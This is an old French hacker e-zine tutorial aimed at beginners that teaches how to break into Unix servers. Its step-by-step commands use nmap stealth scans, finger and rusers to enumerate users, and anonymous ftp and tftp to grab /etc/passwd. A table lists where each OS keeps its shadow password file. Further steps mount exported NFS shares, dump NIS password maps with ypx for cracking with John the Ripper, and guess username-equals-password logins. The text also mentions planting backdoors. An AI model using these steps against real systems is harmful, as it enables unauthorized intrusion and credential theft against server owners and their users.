Arf
!J 'aurais déjà pas dû mettre ce titre;tant pis,mais
je sais pas comment on fait pour effacer...
Ce 'tit file est déstiné aux gens HONNETES qui s'intéressent
de près ou de loin à la sécurité informatique
=).Je ne vous encourage en aucun cas à faire ce qui suit, étant
donné que c'est illégal ( entendez par la que c'est pas légal
).Bon et comme d'hab, si vous le faites quand même, et bien ni moi ni
le crew Tipiak ne répondrons de vos conneries ( hého faut pas
rêver ).
-Intro:
Cet
article est déstiné aux newbies de Linux ( jen suis un aussi
). Il aborde quelques failles de sécurités simples à
exploiter, et vous parmettra normalement de vous pogner au moins un account
sur un server, ce qui est déja pas mal pour commencer. Achtung !Nous
ne parlerons ici que de servers sous *nix ( pas NT ) et nos principales attaques
(toutes ?) se dérouleront a partir d'une station Linux (la vôtre
ou un server ).
Ben voila pour l'intro...Si vous avez des problemes, ou des questions ou des
suggestion ou des cadeaux: _n9_@Caramail.com
ou chuis sur Hilti: 0800 397 397 vmb n° 8631 voila on va pouvoir commencer
la...
Ah oué, j'oubliais les prérequis: une connaissance minimale
de Linux, et ... de la patience =).
1) Obtenir des informations sur la cible:
nmap :
Il est important de connaitre un maximum une cible potentielle ( OS et version des démons...)
-pour
connaitre l'OS de notre server, on peut utiliser NMAP, qui est en fait un
scanner de ports. (pour lancer la détection d'OS il faut etre
root sur votre bécane)
>Tipwar $ su
password:
root@Tipwar # ./nmap -sS -p 80 -O -v www.cible.com
Et
voilà...si nmap a bien fait son boulot ( ce qui arrive presque tjrs
), vous avez déja une info importante...
n.b.:On pourrait très bien faire une tite session telnet sur le port
23 de notre server afin de glaner les infos voulues, mais les admins s'amusent
souvent a virer le greeting avec le nom et la version de l'OS, voire carrément
a faire de l'intox...
Voila ce que ca donne :
melchior:/nmap#
./nmap -sS -p 80 -O -v www.chez.com
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Host www.chez.com (195.68.91.28) appears to be up ... good.
Initiating SYN half-open stealth scan against www.chez.com (195.68.91.28)
Adding TCP port 80 (state Open).
The SYN scan took 0 seconds to scan 1 ports.
For OSScan assuming that port 80 is open and port 42496 is closed and neither
are firewalled
Interesting ports on www.chez.com (195.68.91.28):
Port State Protocol
Service
80 open
tcp http
TCP
Sequence Prediction: Class=random positive increments
Difficulty=2571413
(Good luck!)
Sequence
numbers: 47D0A9B8 47DD7A1B 47E694B7 4772AEA2 475A4DE6 47821838
Remote operating system guess: Linux 2.1.122 - 2.1.132; 2.2.0-pre1 - 2.2.2
Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds
Voila: Chez ils runnent Linux =) on est pas les seuls.
Continuons avec nmap; on va juste scanner les ports de notre server, comme ca pour voir ...
>root@Tipwar
# ./nmap -sS -v www.cible.com
Ici, nmap nous fait un scan TCP "furtif". ( demi-ouverture des ports pour
rester discret...je sais pas si c'est vraiment efficace mais bon...)
ou
>Tipwar $ nmap -ST -v www.cible.com
pour un scan TCP normal.(amusez vous a telnetter sur tous les ports ouverts,
surtout si le 23 et le 25 sont fermés )
finger / rusers :
Nous pouvons ensuite utiliser la commande "finger" pour cette fois ci, obtenir des infos sur les utilisateurs.
Tipwar
$ finger @www.cible.com
[www.FT.com]
Login Name TTY
Idle When Where
------ ------- ----
----- -------
--------
_n9_ lol
co 45d Tue 5h00 Tipiak.com
NEXXT mdr
co 30s Wed 6h30 Tipiak.com
Mmh,
deux utilisateurs de loggués: _n9_ vous avez mon nom =)
vous savez que je suis loggué et que je scotche mon écran sans
rien faire depuis 45 jours ( donc théoriquement chuis pas là,
ou je suis mort) et NEXXT, lui il a commencé a scotcher ya 30s.Je vous
laisse deviner les deux dernieres colonnes...
ndlr: finger peur servir à éviter de venir sur le server
en même temps que le root et éviter ainsi de se faire remarquer...
n.b.: finger -l c'est sympa aussi
-rusers une autre commande similaire a finger, je vous laisse en juger par vous meme:
Tipwar $ rusers -l www.cible.com
Login
Home-dir Shell Last login,
from where
------- ------------ ------
---------------------------
root
/ /bin/sh Fri Nov 5 07:42 on ttyp1 from fuck.FT.com
bin
/bin
Never logged in
nobody
/
Never logged in
n9 /home/n9/ /bin/sh
Tue Dec 9 13h01 on ttyp2 from tipiak.com
psy /home/psy /bin/psi Sun
Mar 2 00h44 on ttyp1 from tiptop.cz
guest /export/foo /bin/sh Never logged in
ftp /home/ftp
Never logged in (mmh)
Bah voila kwa j'ai pas grand chose a dire la dessus =)
-Dernière
chose on peut aussi telneter sur le port 25 ( SMTP )de notre victime, pour
connaitre la version de son Sendmail. ( plus c'est vieux, mieux c'est ! du
genre en dessous de 8.5 c'est cool).
Par contre, je traiterai pas de ça dans cet article, donc soit vous
vous démerdez, soit vous attendez CounterStrikE XX où ca sera
vraisemblablement dedans...
2) Les Failles:
Bon, vous pouvez toujours tester le bug ftp ( cf Tipiak )mais c'est un miracle
si ca marche
Sinon c'est pas compliqué, pour se trouver un account, il faut
aller chercher le fichier pass: /etc/passwd...
Si d'une manière ou d'une autre vous l'avez choppé, hop ! john
the ripper (cf l'article de LoginX.)
-Ensuite,
si l'admin est à chier, essayez de récupérer le fichier
passwd en ftp:
Tipwar $ ftp www.cible.com
Login: ftp
Pass: ftp
ftp>get /etc/passwd
-Y'a aussi les cgi: ( ya des scanners pour ca >VoideYe sur Tipiak).Je m'étend pas dessus, si le scanner il dit y'a bon, ben vous mettez lurl dans le browser et c'est fini...Ca aussi ca devient tres difficile a trouver...
tftp :
Il existe un programme semblable a ftp: tftp ( trivial file transfert program ) qui permet, si le démon est présent d'écrire et de lire partout sur le server, sans avoir besoin de pass...La encore, l'admin du server doit etre con comme pas deux.
Tipwar
$ tftp
tftp> connect www.cible.com
get /etc/passwd
OS | Path |
Sun OS 4.1 | /etc/security/passwd.adjunct |
Sun OS 5.0 | /etc/shadow |
System V 4.0 | /etc/shadow |
System V 4.2 | /etc/security |
ConvexOS 10/11 | /etc/shadow |
Linux | /etc/shadow |
IRIX 5 | /etc/shadow |
AIX | /etc/security/passwd |
BSD4.3-Reno | /etc/master.passwd |
Dg ux | /etc/tcb/aa/user |
Hp ux | /.secure/etc/passwd |
Unicos | /etc/udb |
Un
dernier mot: un fichier passwd, meme shadow, c'est toujours intérssant:
amusez vous a essayer de vous logger en utilisant le meme pass que le login,
vous verrez, ca porte souvent ses fruits;
Voila, un account pour vous et en utilisant ce kon a vu audessus (nmap), ben
vous allez sur rootshell.com et vous me trouvez un tit exploit =)
Bon c'est koi NFS ?
En fait c un protocole reseau qui permet de vous faire bosser sur un fichier a l'autre bout du monde en vous donnant l'illusion qu'il est sur votre PC en fait on peut comparer c'est l'aquivalent de la commande mount mais avec le hd d'un autre pc distant. On va s'en servir pour inspecter la cible , ou meme avoir un shell branche dessus . Il se peut aussi que vous puissiez y placer des taupes en tout genre ou des backdoors. A part ca vous pourrez tres bien prendre l'UID ou le GID ( User Identification Number / Group Identification Number ) d'un utilisateur quelquonque en parametrant votre Linux .
Pour connaitre les fichiers qui pouraient etres exportes tapez dans un shell
: #showmount -e www.url.com
export list
for www.url.com
/etc (everyone)
/bin (bibi)
Traduction
:
/etc (everyone) : signifie que n'importe qui
peut exporter ce repertoire
/bin (bibi) : signifie que seul l'utilisateur
bibi peut exporter ce repertoir
Pour exporter un systeme de repertoire sur un des dossiers de votre pc , tapez :
#mount -t nfs www.url.com:/systeme_de_repertoires_distant /votre_dossier
ex: #mount -t nfs www.url.com:/etc /mnt/nfs
Dans ce cas la vous trouverez le contenu du hd distant dans le dossier mnt/nfs mais le dossier nfs a du etre cree auparavant.
Je tient a preciser pour ceux qui ne le savent pas que c'est de plus en plus rares de trouver des cas comme cela.
-Je parlerai en dernier lieu de NIS, un truc un peu plus courant que les failles nommées ci dessus:
NIS, c'est un
service de partage de base de données systeme d'un réseau.(
du genre etc/group et etc/passwd ).Il sert a exporter par exemple les mots
de passes d'un utilisateur vers le réseau, ainsi, il peut avoir acces
a son shell depuis nimporte quelle bécane du réseau.
Bref, plus le réseau est gros, plus y'a de chances d'avoir NIS.
Pour voir si ya NIS, rien de plus simple:
Tipwar@root #
rpcinfo -p www.cible.com
program
vers proto port
100004 2
tcp 673 ypserv
100005 1
udp 721 mountd
100003 2
udp 2049 nfs
100026 1
udp 733 bootparam
100017 1
tcp 1274 rexd
Ah! La c'est
cool, y'a ypserv, ca veut dire qu'il ya forcément NIS sur ce server.
(Ya aussi bootparam, qui nous indique que c'est une machine sans lecteur de
disquettes.)
Maintenant, il va falloir trouver nom de domaine NIS, qui est le nom d'une
autre machine, gérant NIS sur le réseau.Ca, c'est le truc le
plus chiant...Pour le trouver, on a deux solutions: soit on le trouve comme
ca:
Tipwar $ ypwhich
-d cible www.cible.com
kewl.cible.com
>C'est bon vous l'avez !
Tipwar $ ypwhich
-d cible www.cible.com
domain not bound
>C'est pas bon vous l'avez pas.Donc on va essayer autre chose:
Avec rpcinfo, on a vu que le server runnait aussi NFS, cela veut dire que selon le cas, certaines machines peuvent monter un répertoire du serveur su leur disque.Pour le voir:
Tipwar@root #
showmount -e www.cible.com
export list for cible.com:
/export
(everyone)
/home/froot
maggy
Ici, nimporte qui peut monter le repertoire /export, mais le répertoire /home/froot, peut seulement etre monté par la machine maggy du domaine "cible" . Mais ca ne nous avence a rien; en fait, il faudrait plutot ceci :
/var (everyone)
Dans ce cas:
Tipwar@root # mount -t nfs www.cible.com:/var /mnt
puis allez voir dans /var/yp, c'est a dire /mnt/yp chez vous, et vous trouvez ce putain de nom de domaine...
BOON, maintenant,
y'a plus qu'a récupérer le fichier passwd en utilisant un prog
ki s'appelle YPX.(inclus dans le mag).
Supposons que vous attaquez www.cible.com et ke la machine qui gère
le NIS s'appelle kewl.victim.com, ca donnera ca :
Tipwar $ ypx -d kewl.cible.com cible -m passwd.byname
Voila.passwd.byname
(c'est une carte NIS ) c'est l'equivalent de /etc/passwd, donc: john the ripper
=)
Vla un tit tableau d'équvalence fichiers-cartesNIS:
Nom du file | Nom de la carte NIS |
passwd | passwd.byname |
group | group.byname |
networks | networks.byaddr |
hosts | hosts.byaddr |
protocols | protocols.bynumber |
services | services.byname |
aliases | mail.aliases |
ethers | ethers.byname |
Le mot de la fin:
mot
mmh j'ai pas
envie de faire d'outro donc j'en fait pas. :p
mmh un ptit greetz ?vi.
Donc greetz à Veinscutsl, remoux, Peace (qui code qui code) et les
autres !